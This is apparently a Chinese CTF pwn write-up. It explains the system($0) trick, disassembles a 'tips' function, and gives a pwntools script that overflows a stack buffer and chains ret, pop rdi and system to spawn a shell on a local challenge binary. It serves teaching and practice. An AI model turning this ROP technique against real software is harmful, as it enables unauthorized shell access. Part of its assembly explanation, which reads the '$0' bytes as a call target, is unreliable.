system($0)介绍
在正常的编程或系统使用中,system($0)
本身并不会直接导致获取任何权限。$0
是一个特殊的 shell 变量,它代表当前脚本或程序的名字。在 C 语言中,如果你使用 system()
函数来执行一个 shell 命令,那么传递给 system()
的字符串会被当作 shell 命令来执行。
如果你尝试执行 system($0)
,你实际上是在尝试执行一个名为当前脚本或程序名字的 shell 命令。这通常没有特殊的权限提升效果,除非该名字恰好指向了一个具有特殊权限的脚本或程序。
权限的提升通常涉及到利用系统漏洞、执行具有更高权限的程序或脚本、或者通过其他机制(如 sudo)以更高权限用户身份执行命令。
例如,在 Unix 或 Linux 系统中,一个用户可能通过配置 sudoers 文件来允许某些用户或用户组以超级用户(root)权限执行特定的命令。在这种情况下,即使一个普通用户运行了一个脚本,该脚本中的 system()
调用也可能以更高的权限执行命令,但这需要 sudo 的配置和用户的显式同意(通常是输入密码)。
如果你听说 system($0)
能够获取权限,那么这很可能是在某种特定的攻击场景或上下文中提到的。在这种情况下,攻击者可能利用了某些特定的系统配置或漏洞来执行恶意代码,并且 system($0)
只是攻击链中的一环。然而,这并不意味着 system($0)
本身具有获取权限的能力;而是攻击者利用了其他条件来实现这一点。
总之,system($0)
本身并不会导致权限的提升。权限的提升通常涉及到更复杂的机制和条件,需要攻击者具备相应的知识和技能。
例题
我们看道例题
‘
经典nx,栈迁移,本该是很简单的一道题,但是涉及到system($0),就难理解了一点点,仅仅是一点点
废话不多说,距离rbp,0x10,填充0x18覆盖rbp,构造ret,这时候我们发现有system函数,没有/bin/sh,怎么办,可能有小伙伴想ret2libc,当然可以,但是太过麻烦,我们发现有的tips函数还没有看
我们直接进去西索
我们详细分析这串代码:
这段文本是一个反汇编代码片段,它描述了一个名为 tips
的函数或过程的汇编实现。我会为你逐行解释这段代码:
.text:0000000000400537 public tips |
这行标记了一个名为 tips
的公共符号,表示这是一个可以被其他模块或代码引用的函数或过程。
.text:0000000000400537 tips proc near |
这行定义了 tips
过程的开始,proc near
表示这是一个近程调用过程(即,它的跳转和调用通常在相同的代码段内)。
.text:0000000000400537 ; __unwind { |
这是一个注释,它可能是关于异常处理的元数据或提示,尽管在这段代码中它并不直接影响执行流程。
.text:0000000000400537 55 push rbp |
这行代码将当前的基指针寄存器(rbp
)的值压入栈中。这通常是为了在函数内部保存原始的栈帧指针。
.text:0000000000400538 48 89 E5 mov rbp, rsp |
这行代码将当前的栈指针寄存器(rsp
)的值移动到基指针寄存器(rbp
)。这是设置新的栈帧的开始/
.text:000000000040053B B8 00 00 00 00 mov eax, 0 |
这行代码将累加器寄存器(eax
)的值设置为0。这通常用于准备返回值或用于其他计算。
.text:0000000000400540 E8 24 30 00 00 call near ptr 403569h |
这行代码调用了一个位于地址 403569h
的函数或过程。E8
是调用指令的操作码,而 24 30 00 00
是相对偏移量。
.text:0000000000400545 90 nop |
这是一个无操作指令(nop
),它什么都不做。它通常用作占位符或用于对齐代码。
.text:0000000000400546 5D pop rbp |
这行代码从栈中弹出一个值,并将其放回 rbp
寄存器中。这是函数结束时恢复原始栈帧指针的过程的一部分。
.text:0000000000400547 C3 retn |
这行代码是一个返回指令。它将从栈中弹出一个值作为返回地址,并跳转到该地址。这标志着 tips
函数的结束。
.text:0000000000400547 ; } // starts at 400537 | |
.text:0000000000400547 tips endp |
这些是注释,标记了 tips
过程的结束,并给出了其开始的地址。
总之,这个 tips
函数似乎很简单:它设置了新的栈帧,可能执行了一些操作(尽管在这段代码中看不到),然后调用了一个位于 403569h
的函数,最后恢复了原始的栈帧并返回。
这里可以使用system($0)
来获得shell权限。
首先用垃圾数据填充栈,进行栈溢出,然后将数据放入$0
放入rdi中,然后跳到system
函数执行。
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p= process('./system0')
elf=ELF('./system0')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret=0x0000000000400416
rdi=0x00000000004005e3
tip=0x400541
system=0x400430
payload=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(tip)+p64(system)
p.send(payload)
p.interactive()
标签:ret2text,00,text,system,rbp,tips,权限
From: https://blog.csdn.net/2302_79899078/article/details/136745697